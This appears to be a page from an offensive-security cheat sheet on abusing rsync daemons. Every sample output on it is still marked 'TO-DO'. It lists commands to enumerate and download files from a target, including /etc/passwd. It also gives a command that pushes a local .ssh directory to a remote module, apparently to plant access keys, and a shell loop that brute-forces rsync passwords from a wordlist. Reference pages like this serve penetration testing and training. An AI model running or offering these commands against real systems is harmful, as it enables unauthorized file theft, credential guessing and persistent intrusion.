TLDRBins TLDRBins / rsync


Usage Tips:

  • Click on a keyword to enable inline editing.
  • Click inside a code block to copy (excludes comments).
  • Use the button to view examples.
  • Click outside to collapse all examples.

Basic Commands

# List directory ('/') rsync --list-only -a rsync://<TARGET>/
Sample Output: TO-DO
# List directory ('/') with ipv6 rsync --list-only -a rsync://[<TARGET_IPV6>]:8730/
Sample Output: TO-DO
# List a file rsync --list-only -a rsync://<TARGET>/etc/passwd
Sample Output: TO-DO
# List files (wildcard) rsync --list-only -a rsync://<TARGET>/etc/rsync*
Sample Output: TO-DO
# Get a file rsync -a rsync://<TARGET>/etc/passwd .
Sample Output: TO-DO
# Get files (wildcard) rsync -a rsync://<TARGET>/etc/rsync* .
Sample Output: TO-DO
# Copy files recusively to remote (With Creds) export RSYNC_PASSWORD='<PASSWORD>'; rsync -aR .ssh/ rsync://<USER>@<TARGET>/home_user/
Sample Output: TO-DO

Bruteforce rsync password

# Get user from /etc/passwd, Get module from /etc/rsyncrsyncd.conf (e.g. user user and module home_user) cat passwords.txt | while read password; do export RSYNC_PASSWORD=${password}; rsync --list-only rsync://user@<TARGET>/home_user 2>&1 | grep -q "auth failed on module home_user" || { echo "[+] Found: ${RSYNC_PASSWORD}"; break; } done
Sample Output: TO-DO